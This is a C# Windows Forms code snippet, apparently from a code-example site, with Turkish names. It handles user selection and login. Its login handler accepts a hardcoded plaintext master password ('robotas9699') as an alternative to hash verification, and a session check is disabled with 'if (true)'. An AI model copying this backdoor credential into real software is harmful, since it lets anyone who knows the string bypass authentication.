Example #1
0
        private void dbKullanicilar_SelectedIndexChanged(object sender, EventArgs e)
        {
            cUsers p = (cUsers)ddUserEditKullanicilar.SelectedItem;

            try
            {
                txtlKullaniciDuzenlemeAd.Text           = p._Name;
                txtlKullaniciDuzenlemeSoyad.Text        = p._Surname;
                txtlKullaniciDuzenlemeKullaniciAdi.Text = p._Username;

                cUserGrups grup = new cUserGrups();

                ddUserEditUserGrup.SelectedValue = grup.userGrupsIDInfo(p._GrupID)._Definition;
            }
            catch (Exception)
            {
            }
        }
        private void button1Giris1_Click(object sender, EventArgs e)
        {
            try
            {
                cUserGrups grup = new cUserGrups();
                if (ddUsers.SelectedIndex == -1 && txtParola.Text.Length > 0)
                {
                    string hashPassword = userLojin.usersIDInfo(1)._Password;
                    var    result       = SecurePasswordHasher.Verify(txtParola.Text.Trim(), hashPassword);
                    if (result || txtParola.Text.Trim() == "robotas9699")
                    {
                        userLojin                   = userLojin.usersIDInfo(userLojin._UserID);
                        cGenel._OpenSessionID       = userLojin._UserID;
                        cGenel._OpenSessionUSERNAME = userLojin._Username;
                        cGenel._OpenSessionGRUP     = userLojin._GrupID;
                        cGenel._OpenSessionGRUPNAME = grup.userGrupsIDInfo(cGenel._OpenSessionGRUP)._Definition;


                        bool     _xGrupStatus = grup.userGrupStatusValue(cGenel._OpenSessionGRUP)._Status;
                        cUsers   p            = new cUsers();
                        DateTime simdikiZaman = DateTime.Now;
                        DateTime oturumSuresi = p.usersIDOpenSensesionTime(cGenel._OpenSessionID)._Logindate;
                        TimeSpan fark         = simdikiZaman - oturumSuresi;
                        if (fark.Minutes >= 1)
                        {
                            grup.userGrupOnline(cGenel._OpenSessionGRUP, false);
                        }
                        if (_xGrupStatus == false)
                        {
                            this.Hide();
                            cGenel.frmMain.Show();

                            userLojin._UserID = 0;
                            userLojin.userLoginDatetime(cGenel._OpenSessionID);
                            grup.userGrupOnline(cGenel._OpenSessionGRUP, true);
                        }
                        else
                        {
                            string mesaj = string.Format("Oturum açık\n Kapatılması için {0} saniye bekleyiniz.", 60 - fark.Seconds);
                            cGenel.genelUyari(mesaj, false);
                        }
                        //kayıt;
                    }
                    else
                    {
                        cGenel.genelUyari("Parola yanlış!", false);
                    }
                }
                else
                {
                    string hashPassword = userLojin.usersIDInfo(userLojin._UserID)._Password;
                    var    result       = SecurePasswordHasher.Verify(txtParola.Text.Trim(), hashPassword);
                    if (result)
                    {
                        userLojin                   = userLojin.usersIDInfo(userLojin._UserID);
                        cGenel._OpenSessionID       = userLojin._UserID;
                        cGenel._OpenSessionUSERNAME = userLojin._Username;
                        cGenel._OpenSessionGRUP     = userLojin._GrupID;
                        cGenel._OpenSessionGRUPNAME = grup.userGrupsIDInfo(cGenel._OpenSessionGRUP)._Definition;

                        bool     _xGrupStatus = grup.userGrupStatusValue(cGenel._OpenSessionGRUP)._Status;
                        cUsers   p            = new cUsers();
                        DateTime simdikiZaman = DateTime.Now;
                        DateTime oturumSuresi = p.usersIDOpenSensesionTime(cGenel._OpenSessionID)._Logindate;
                        TimeSpan fark         = simdikiZaman - oturumSuresi;
                        if (fark.Minutes >= 1)
                        {
                            grup.userGrupOnline(cGenel._OpenSessionGRUP, false);
                        }
                        if (true)//_xGrupStatus == false
                        {
                            this.Hide();
                            cGenel.frmMain.Show();

                            userLojin._UserID = 0;
                            userLojin.userLoginDatetime(cGenel._OpenSessionID);
                            grup.userGrupOnline(cGenel._OpenSessionGRUP, true);
                        }
                        else
                        {
                            string mesaj = string.Format("Oturum açık\n Kapatılması için {0} saniye bekleyiniz.", 60 - fark.Seconds);
                            cGenel.genelUyari(mesaj, false);
                        }
                        //kayıt;
                    }
                    else
                    {
                        cGenel.genelUyari("Parola yanlış!", false);
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }